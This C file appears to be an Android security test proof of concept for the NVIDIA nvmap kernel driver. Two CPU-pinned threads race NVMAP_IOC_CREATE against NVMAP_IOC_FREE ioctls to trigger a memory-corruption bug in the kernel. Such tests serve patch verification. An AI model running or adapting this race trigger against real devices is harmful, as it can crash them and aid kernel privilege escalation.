| /* |
| * Copyright (C) 2017 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| #define _GNU_SOURCE |
| |
| #include <stdlib.h> |
| #include <errno.h> |
| #include <unistd.h> |
| #include <stdio.h> |
| #include <dirent.h> |
| #include <string.h> |
| #include <sys/stat.h> |
| #include <sys/ioctl.h> |
| #include <stdio.h> |
| #include <string.h> |
| #include <dlfcn.h> |
| #include <sys/time.h> |
| #include <sys/mman.h> |
| #include <sys/syscall.h> |
| #include <sys/resource.h> |
| #include <fcntl.h> |
| #include <pthread.h> |
| #include <unistd.h> |
| #include <sched.h> |
| |
| |
| struct nvmap_handle_param { |
| __u32 handle; /* nvmap handle */ |
| __u32 param; /* size/align/base/heap etc. */ |
| unsigned long result; /* returns requested info*/ |
| }; |
| |
| struct nvmap_create_handle { |
| union { |
| __u32 id; /* FromId */ |
| __u32 size; /* CreateHandle */ |
| __s32 fd; /* DmaBufFd or FromFd */ |
| }; |
| __u32 handle; /* returns nvmap handle */ |
| }; |
| |
| #define NVMAP_IOC_MAGIC 'N' |
| #define NVMAP_IOC_CREATE _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle) |
| #define NVMAP_IOC_PARAM _IOWR(NVMAP_IOC_MAGIC, 8, struct nvmap_handle_param) |
| #define NVMAP_IOC_GET_ID _IOWR(NVMAP_IOC_MAGIC, 13, struct nvmap_create_handle) |
| #define NVMAP_IOC_GET_FD _IOWR(NVMAP_IOC_MAGIC, 15, struct nvmap_create_handle) |
| #define NVMAP_IOC_FREE _IO(NVMAP_IOC_MAGIC, 4) |
| |
| int g_fd = -1; |
| static pthread_cond_t cond = PTHREAD_COND_INITIALIZER; |
| static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; |
| struct nvmap_create_handle* g_allocation = NULL; |
| |
| int open_driver() { |
| char* dev_path = "/dev/nvmap"; |
| g_fd = open(dev_path, O_RDWR); |
| if (g_fd < 0) { |
| printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno); |
| } else { |
| printf("[*] open file(%s) succ!\n", dev_path); |
| } |
| return g_fd; |
| } |
| |
| void trigger_nvmap_create() { |
| ioctl(g_fd, NVMAP_IOC_CREATE, g_allocation); |
| //printf("[*] NVMAP_IOC_CREATE, fd(%d), last error = %d\n", g_allocation->handle, errno); |
| } |
| |
| void trigger_nvmap_free() { |
| static int data = 1024; |
| ioctl(g_fd, NVMAP_IOC_FREE, data); |
| //printf("[*] NVMAP_IOC_FREE last error = %d\n", errno); |
| } |
| |
| void setup_privi_and_affinity(int privi, unsigned long cpu_mask) { |
| setpriority(PRIO_PROCESS, gettid(), privi); |
| printf("[*] setpriority(%d) errno = %d\n", privi, errno); |
| |
| /* bind process to a CPU*/ |
| if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) { |
| printf("[*] sched_setaffinity(%ld) errno = %d\n", cpu_mask, errno); |
| } |
| } |
| |
| void prepare_data() { |
| void* data = calloc(1, 0x1000); |
| |
| g_allocation = (struct nvmap_create_handle*)data; |
| g_allocation->size = 1024; |
| |
| mprotect(data, 0x1000, PROT_READ); |
| printf("[*] mprotect, error = %d\n", errno); |
| } |
| static int init = 0; |
| void* race_thread(void* arg) { |
| setup_privi_and_affinity(0, 2); |
| |
| int i; |
| while (1) { |
| if (init == 0) { |
| pthread_mutex_lock(&mutex); |
| pthread_cond_wait(&cond, &mutex); |
| pthread_mutex_unlock(&mutex); |
| init = 1; |
| } |
| trigger_nvmap_free(); |
| } |
| } |
| |
| int main(int argc, char**argv) { |
| setup_privi_and_affinity(0, 1); |
| if (open_driver() < 0) { |
| return -1; |
| } |
| prepare_data(); |
| pthread_t tid; |
| pthread_create(&tid, NULL, race_thread, NULL); |
| sleep(1); |
| while (1) { |
| if (init == 0) |
| pthread_cond_signal(&cond); |
| trigger_nvmap_create(); |
| } |
| return 0; |
| } |